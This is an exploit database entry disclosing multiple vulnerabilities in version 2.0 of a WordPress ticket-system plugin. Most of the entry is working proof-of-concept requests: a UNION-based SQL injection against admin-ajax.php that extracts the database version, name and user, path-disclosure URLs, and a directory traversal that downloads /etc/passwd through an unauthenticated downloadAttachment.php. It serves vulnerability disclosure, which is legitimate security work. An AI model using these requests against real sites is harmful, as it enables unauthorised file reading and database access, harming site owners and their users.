WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities

EDB-ID:

34589

CVE:

N/A




Platform:

PHP

Date:

2014-09-09


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# Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0
Plugin - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 09.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://wpsuportplus.byethost7.com/
# Software
http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Version: 2.0
# Tested on: PHP


Description:
This plugin adds to WordPress the features of a complete ticket system with
100% responsive and 100% Ajax functionality. This allows users to submit
tickets to report problems or get support on whatever you want. Users can
set the status, priority and category of each ticket.


Proof of Concept:

1. SQL INJECTION
URL     : http://localhost/wp-admin/admin-ajax.php
METHOD  : POST
REQUEST : action=openTicket&ticket_id=-1 UNION SELECT
concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
* any registered user can successfully execute this request


2. FULL PATH DISCLOSURE
a) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
 * full path to the file will be shown to the user after the file has been
uploaded
b) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
 * full path will be shown in PHP error message if parameter "path" is empty


3. DIRECTORY TRAVERSAL
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
* any file from the server can be downloaded by giving parameter "path" the
location to the file


4. BROKEN AUTHENTICATION
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any
file path>
* The script "downloadAttachment.php" is accessible for anyone without
having to login.